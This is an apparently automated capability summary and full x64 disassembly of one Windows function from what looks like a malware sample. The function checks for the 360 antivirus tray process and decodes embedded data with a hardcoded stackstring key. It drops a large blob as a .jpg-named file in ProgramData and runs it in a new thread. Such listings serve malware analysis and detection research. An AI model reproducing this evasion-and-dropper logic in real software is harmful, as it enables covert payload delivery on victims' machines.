Function at 0x1400056f0
Capabilities:
Contain obfuscated stackstrings
Create directory
Create thread
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x430]
sub rsp, 0x530
mov rax, qword [0x14004d020]
xor rax, rsp
mov qword [rbp + 0x420], rax
lea rcx, str.360Tray.exe
call fcn.140005610
test eax, eax
jne 0x1400066ef
lea rcx, str.360tray.exe
call fcn.140005610
test eax, eax
jne 0x1400066ef
lea rcx, [rbp + 0xa0]
call fcn.1400023f0
nop
lea rcx, [rbp + 0x150]
call fcn.1400023f0
nop
xor esi, esi
mov qword [rbp - 0x70], rsi
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], sil
lea r8d, [rsi + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x70]
call fcn.1400070e0
nop
lea r8d, [rsi + 1]
lea rdx, [0x140045bb8]
lea rcx, [rbp - 0x70]
call fcn.140007240
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x70]
call fcn.140007240
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r8d, [rsi + 1]
lea rdx, [0x140045bb8]
lea rcx, [rsp + 0x50]
call fcn.140007240
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea rdx, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae rdx, qword [rbp + 0x150]
mov r8, qword [rbp + 0x160]
lea rcx, [rbp - 0x30]
call fcn.140007240
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x20], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
lea r8d, [rsi + 4]
lea rdx, str..jpg
lea rcx, [rbp + 0x10]
call fcn.140007240
mov qword [rbp + 0x80], rsi
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140005940
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000593b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006721
call fcn.140012e70
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x14000598b
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005986
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006727
call fcn.140012e70
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x1400059d8
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000672d
call fcn.140012e70
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140005a27
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a22
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006733
call fcn.140012e70
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0x10
jb 0x140005a73
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a6e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006739
call fcn.140012e70
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], 0xf
mov byte [rbp - 0x70], 0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x70], rsi
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x60]
call fcn.1400070e0
nop
mov r8d, 1
lea rdx, [0x140045bb8]
lea rcx, [rbp + 0x60]
call fcn.140007240
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rsi
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rdx, qword [rbp + 0xa0]
mov r8, qword [rbp + 0xb0]
lea rcx, [rsp + 0x30]
call fcn.140007240
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x38]
cmp rdx, 0x10
jb 0x140005b8a
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b85
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000673f
call fcn.140012e70
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], 0xf
mov byte [rbp - 0x50], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140005bd7
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bd2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006745
call fcn.140012e70
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], 0xf
mov byte [rsp + 0x30], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x140005c25
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000674b
call fcn.140012e70
lea r8, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae r8, qword [rbp + 0x80]
lea rdx, [0x140045bbc]
lea rcx, [rbp + 0x310]
call qword [sym.imp.USER32.dll_wsprintfA]
xorps xmm0, xmm0
mov dword [rsp + 0x30], 0x61657771
mov dword [rsp + 0x34], 0x32316473
mov dword [rsp + 0x38], 0x63787a33
movdqu xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
mov ecx, 0xc
call fcn.140012e78
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rax
lea rbx, [rax + 0xc]
mov qword [rbp + 0x58], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x30]
mov rcx, rax
call fcn.140014fc0
mov qword [rbp + 0x50], rbx
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x40], rsi
mov ecx, 0x534
call fcn.140012e78
mov qword [rbp + 0x30], rax
lea rbx, [rax + 0x534]
mov qword [rbp + 0x40], rbx
mov r8d, 0x534
lea rdx, [0x14004dc20]
mov rcx, rax
call fcn.140014fc0
mov qword [rbp + 0x38], rbx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x30]
call fcn.140002220
mov qword [rbp - 0x10], rsi
mov rcx, rsi
mov qword [rbp], rcx
mov r8d, 0xf
mov qword [rbp + 8], r8
mov byte [rbp - 0x10], cl
mov rdi, qword [rbp + 0x38]
mov rbx, qword [rbp + 0x30]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x140005d30
lea rcx, [rbp - 0x10]
call fcn.140007eb0
mov rcx, rsi
mov qword [rbp], rcx
mov r8, qword [rbp + 8]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], rax
cmp rbx, rdi
je 0x140005d84
nop
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x140005d69
lea rax, [rcx + 1]
mov qword [rbp], rax
lea rax, [rbp - 0x10]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x10]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x140005d72
lea rcx, [rbp - 0x10]
call fcn.140008000
inc rbx
cmp rbx, rdi
je 0x140005d84
mov r8, qword [rbp + 8]
mov rcx, qword [rbp]
jmp 0x140005d40
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
mov qword [rbp + 0x190], rax
lea rdx, str.__w__________________
lea rcx, [rbp + 0x170]
call fcn.140006c00
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
movups xmmword [rbp + 0x240], xmm0
movups xmmword [rbp + 0x260], xmm0
movups xmmword [rbp + 0x270], xmm0
mov qword [rbp + 0x210], rsi
mov byte [rbp + 0x218], 0
movdqa xmmword [rbp + 0x220], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x230], xmm1
mov qword [rbp + 0x240], rsi
mov byte [rbp + 0x248], 0
movdqa xmmword [rbp + 0x250], xmm0
mov byte [rbp + 0x260], 0
mov qword [rbp + 0x268], rsi
mov qword [rbp + 0x270], rsi
mov byte [rbp + 0x278], 0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rdx, qword [rbp - 0x10]
add rdx, qword [rbp]
lea rax, [rbp - 0x10]
cmp qword [rbp + 8], 0x10
cmovae rax, qword [rbp - 0x10]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
lea rcx, [rbp + 0x170]
mov qword [rbp + 0xd0], rcx
mov dword [rbp + 0xd8], esi
mov qword [rbp + 0xe0], rsi
mov byte [rbp + 0xe8], 0
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], rsi
mov byte [rbp + 0x118], 0
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 0
mov qword [rbp + 0x138], rsi
mov qword [rbp + 0x140], rsi
mov byte [rbp + 0x148], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
lea r9, [rbp + 0x170]
lea r8, [rbp + 0xe0]
mov rcx, rax
call fcn.140007a30
mov rcx, qword [rbp + 0xd0]
test al, al
cmove rcx, rsi
mov qword [rbp + 0xd0], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x300], xmm0
movdqa xmmword [rbp + 0x280], xmm0
mov qword [rbp + 0x290], rsi
mov qword [rbp + 0x2a0], rsi
mov byte [rbp + 0x2a8], 0
movdqa xmmword [rbp + 0x2b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x2c0], xmm1
mov qword [rbp + 0x2d0], rsi
mov byte [rbp + 0x2d8], 0
movdqa xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2f0], 0
mov qword [rbp + 0x2f8], rsi
mov qword [rbp + 0x300], rsi
mov byte [rbp + 0x308], 0
movabs r15, 0x2aaaaaaaaaaaaaab
lea r14, str.passav
nop dword [rax]
cmp qword [rbp + 0xd0], 0
je 0x1400063fe
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
movups xmmword [rbp + 0x1b0], xmm0
movups xmmword [rbp + 0x1c0], xmm0
movups xmmword [rbp + 0x1d0], xmm0
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x200], xmm0
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x1a0]
call fcn.140004250
nop
mov r10, qword [rbp + 0x1b8]
mov rcx, r10
mov r9, qword [rbp + 0x1b0]
sub rcx, r9
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x14000638b
cmp byte [r9 + 0x28], 0
je 0x14000604b
movups xmm0, xmmword [r9 + 0x18]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140006054
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rbp - 0x30], rsi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x140006091
sub r8, rdx
lea rcx, [rbp - 0x30]
call fcn.1400070e0
mov r10, qword [rbp + 0x1b8]
mov r9, qword [rbp + 0x1b0]
mov rcx, r10
sub rcx, r9
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 2
lea rax, [rbp + 0x1f8]
jbe 0x1400060bc
lea rax, [r9 + 0x30]
cmp byte [rax + 0x10], 0
je 0x1400060cc
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
jmp 0x1400060d5
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x140006112
sub r8, rdx
lea rcx, [rbp + 0x10]
call fcn.1400070e0
mov r10, qword [rbp + 0x1b8]
mov r9, qword [rbp + 0x1b0]
sub r10, r9
mov rax, r15
imul r10
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 3
ja 0x140006138
lea r9, [rbp + 0x1f8]
jmp 0x14000613c
add r9, 0x48
cmp byte [r9 + 0x10], 0
je 0x14000614e
movups xmm0, xmmword [r9]
movups xmmword [rsp + 0x30], xmm0
jmp 0x140006157
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rbp + 0x60], rsi
mov qword [rbp + 0x70], rsi
mov edi, 0xf
mov qword [rbp + 0x78], rdi
mov byte [rbp + 0x60], 0
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x38]
cmp rdx, r8
je 0x14000618b
sub r8, rdx
lea rcx, [rbp + 0x60]
call fcn.1400070e0
mov rdi, qword [rbp + 0x78]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x14004ea70]
call fcn.140007480
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
mov r8, qword [rbp - 0x20]
mov rcx, rax
call fcn.140009400
mov rcx, rax
lea rdx, [0x140045bfc]
call fcn.140007480
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 0x10
cmovae rdx, qword [rbp - 0x30]
cmp qword [rbp - 0x20], 6
jne 0x14000621b
mov rax, rsi
nop
movzx ecx, byte [rdx + rax]
inc rax
cmp cl, byte [r14 + rax - 1]
jne 0x1400061f8
cmp rax, 6
jne 0x1400061e0
mov eax, esi
jmp 0x1400061fd
sbb eax, eax
or eax, 1
test eax, eax
jne 0x14000621b
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
lea rdx, [rbp + 0x310]
call fcn.1400025a0
mov rax, qword [rbp + 0xf0]
mov rbx, qword [rax + 8]
xor dl, dl
cmp qword [rax], rbx
jne 0x140006272
mov rdx, qword [rbp + 0xc8]
cmp rbx, rdx
je 0x1400062be
mov ecx, dword [rbp + 0xd8]
or ecx, 0x60
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xd0]
lea r8, [rbp + 0xe0]
mov rcx, rbx
call fcn.140007a30
test al, al
jne 0x1400062c5
mov dl, 1
mov eax, dword [rbp + 0xd8]
bts eax, 8
mov dword [rbp + 0xd8], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xd0]
lea r8, [rbp + 0xe0]
mov rdx, qword [rbp + 0xc8]
mov rcx, rbx
call fcn.140007a30
test al, al
jne 0x1400062c5
mov qword [rbp + 0xd0], rsi
cmp rdi, 0x10
jb 0x1400062fe
lea rdx, [rdi + 1]
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006751
call fcn.140012e70
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140006339
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006334
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006757
call fcn.140012e70
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x140006384
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000637f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000675d
call fcn.140012e70
mov r9, qword [rbp + 0x1b0]
test r9, r9
je 0x140005fb0
mov rcx, qword [rbp + 0x1c0]
sub rcx, r9
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r9
cmp rdx, 0x1000
jb 0x1400063df
add rdx, 0x27
mov r9, qword [r9 - 8]
sub rax, r9
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006763
mov rcx, r9
call fcn.140012e70
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1b0], xmm0
mov qword [rbp + 0x1c0], rsi
jmp 0x140005fb0
lea rdx, [0x140045dd4]
lea rcx, [rbp + 0x310]
call fcn.14001971c
mov rbx, rax
test rax, rax
je 0x14000643b
mov r9, rax
mov edx, 1
mov r8d, 0x174930
lea rcx, [0x140050210]
call fcn.14001c304
mov rcx, rbx
call fcn.14001999c
lea rcx, [rbp + 0x310]
call fcn.140019c28
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], esi
xor r9d, r9d
lea r8, [0x140005540]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x140006484
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov r8, qword [rbp + 0xf0]
test r8, r8
je 0x1400064f5
mov rcx, qword [rbp + 0x100]
sub rcx, r8
mov rax, r15
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x1400064db
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006769
mov rcx, r8
call fcn.140012e70
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xf0], xmm0
mov qword [rbp + 0x100], rsi
lea rcx, [rbp + 0x170]
call fcn.140007060
mov rcx, qword [rbp + 0x190]
test rcx, rcx
je 0x140006527
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x140006527
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x140006562
inc rdx
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000655d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000676f
call fcn.140012e70
mov qword [rbp], rsi
mov qword [rbp + 8], 0xf
mov byte [rbp - 0x10], 0
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x1400065b8
mov rdx, qword [rbp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006775
call fcn.140012e70
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], rsi
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x1400065fe
mov rdx, qword [rbp + 0x58]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400065ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000677b
call fcn.140012e70
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], rsi
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x14000663f
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000663a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006781
call fcn.140012e70
mov qword [rbp + 0x90], rsi
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x168]
cmp rdx, 0x10
jb 0x140006699
inc rdx
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006694
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006787
call fcn.140012e70
mov qword [rbp + 0x160], rsi
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x1400066ef
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400066ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000671b
call fcn.140012e70
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.140012e50
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
nop
call fcn.14001c600
int3